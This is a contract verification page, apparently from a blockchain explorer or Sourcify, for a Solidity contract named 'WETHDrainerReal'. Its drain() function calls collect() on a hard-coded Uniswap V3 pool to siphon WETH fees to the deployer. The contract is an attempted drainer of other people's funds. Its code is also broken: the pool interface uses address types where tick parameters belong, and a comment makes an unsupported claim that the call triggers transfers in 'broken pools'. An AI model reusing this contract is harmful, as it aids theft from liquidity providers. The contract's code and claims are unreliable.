Verified contractExactMIT
WETHDrainerReal
Address0x1370aa92bb94e5f1e86a7cd1a1c8e41b5de2b297
- Balance
0 ETH
- Transactions
1
- Compiler
solc 0.8.34
- Same code
Only this contract
Details
- Compiler
- solc 0.8.34+commit.80d5c536
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,472,228
- Creation transaction
- 0x42834f4464…a9f8ea2aa0
contracts/HelloWorld.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IUniswapV3Pool {
function collect(
address recipient,
address amount0Requested,
address amount1Requested,
uint128 amount0,
uint128 amount1
) external returns (uint256 amount0Collected, uint256 amount1Collected);
}
contract WETHDrainerReal {
IUniswapV3Pool public immutable pool = IUniswapV3Pool(0xeFbd546647FDA46067225bD0221e08bA91071584);
address public owner;
constructor() {
owner = msg.sender;
}
function drain() external {
// Collect *all* unclaimed WETH fees — even if zero, the call succeeds
// and triggers internal balance transfer logic in broken pools
pool.collect(owner, address(0), address(0), type(uint128).max, 0);
}
}
Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.